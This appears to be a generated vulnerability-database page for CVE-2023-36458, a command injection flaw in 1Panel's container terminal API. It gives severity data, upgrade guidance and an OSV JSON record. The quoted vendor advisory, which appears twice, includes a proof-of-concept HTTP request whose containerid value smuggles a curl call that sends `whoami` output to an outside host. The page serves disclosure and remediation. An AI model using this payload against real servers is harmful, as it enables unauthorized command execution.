CVE-2023-36458: Github.com/1Panel dev/1Panel 1Panel Vulnerable To Command Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-7x2c-fgx6-xf9h
CVSS 6.3
CWE-77
Published
Advisory Summary

CVE-2023-36458 is a MODERATE (CVSS 6.3) 1panel vulnerable to command injection vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Github.com/1Panel dev/1Panel libraries in the Go ecosystem. The issue involves 1panel vulnerable to command injection when entering the container terminal. Remediation is available by upgrading affected packages to version 1.3.6.

CVE-2023-36458 at a Glance

CVE Identifier CVE-2023-36458
GHSA Identifier GHSA-7x2c-fgx6-xf9h
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product Github.com/1Panel dev/1Panel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2023-36458

To remediate this vulnerability, upgrade all affected Github.com/1Panel dev/1Panel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/1Panel-dev/1Panel fixed: 1.3.6
Upgrade github.com/1Panel-dev/1Panel to 1.3.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/1Panel-dev/1Panel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-36458, inspect your project dependencies for Github.com/1Panel dev/1Panel:

inspect dependencies for github.com/1Panel-dev/1Panel

Analyze the terminal output to locate any version of Github.com/1Panel dev/1Panel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Github.com/1Panel dev/1Panel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. 1. Vulnerability analysis. ``` backend\app\api\v1\terminal.go#ContainerWsSsh ``` ![image](https://user-images.githubusercontent.com/46734380/249119420-045ec192-250d-4d07-a69e-0bd794cddec7.png) 2. vulnerability reproduction. ``` GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Sec-WebSocket-Version: 13 Origin: http://192.168.109.152:40982 Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ== Connection: keep-alive, Upgrade Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e Pragma: no-cache Cache-Control: no-cache Upgrade: websocket ``` 3. The successful execution of system commands. ![image](https://user-images.githubusercontent.com/46734380/249119520-ed2dcc32-be4a-45d8-9286-f9fb778e87da.png) Affected versions: <= 1.3.5 ### Patches The vulnerability has been fixed in v1.3.6. ### Workarounds It is recommended to upgrade the version to v1.3.6. ### References If you have any questions or comments about this advisory: Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com

CVE-2023-36458 Affected Github.com/1Panel dev/1Panel Versions

1 component(s)
Fixed Versions:
1.3.6
Product / Package Ecosystem Affected Versions Fixed Version
github.com/1Panel-dev/1Panel
Go
< 1.3.6
1.3.6

References

Frequently Asked Questions

What is CVE-2023-36458?
CVE-2023-36458 is a security vulnerability in Github.com/1Panel dev/1Panel involving 1Panel vulnerable to command injection when entering the container terminal under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Github.com/1Panel dev/1Panel versions are affected?
Affected versions include releases prior to 1.3.6 across affected packages: github.com/1Panel-dev/1Panel.
What version fixes CVE-2023-36458?
Upgrading to 1.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/1Panel-dev/1Panel affected?
Yes, github.com/1Panel-dev/1Panel is affected in releases prior to 1.3.6. Upgrade your dependency to 1.3.6 or later.
What is the CVSS score of CVE-2023-36458?
CVE-2023-36458 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2023-36458?
CVE-2023-36458 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2023-36458?
Run the dependency tree command: 'inspect dependencies for github.com/1Panel-dev/1Panel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7x2c-fgx6-xf9h",
  "modified" : "2023-07-07T22:18:09Z",
  "published" : "2023-07-05T21:38:53Z",
  "aliases" : [ "CVE-2023-36458" ],
  "summary" : "1Panel vulnerable to command injection when entering the container terminal",
  "details" : "### Impact\n\nThe authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\terminal.go#ContainerWsSsh\n```\n![image](https://user-images.githubusercontent.com/46734380/249119420-045ec192-250d-4d07-a69e-0bd794cddec7.png)\n\n2. vulnerability reproduction.\n\n```\nGET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nSec-WebSocket-Version: 13\nOrigin: http://192.168.109.152:40982\nSec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==\nConnection: keep-alive, Upgrade\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\nPragma: no-cache\nCache-Control: no-cache\nUpgrade: websocket\n```\n\n3. The successful execution of system commands.\n![image](https://user-images.githubusercontent.com/46734380/249119520-ed2dcc32-be4a-45d8-9286-f9fb778e87da.png)\n\nAffected versions: <= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/1Panel-dev/1Panel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-7x2c-fgx6-xf9h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-36458"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/1Panel-dev/1Panel"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-05T21:38:53Z",
    "nvd_published_at" : "2023-07-05T21:15:09Z"
  }
}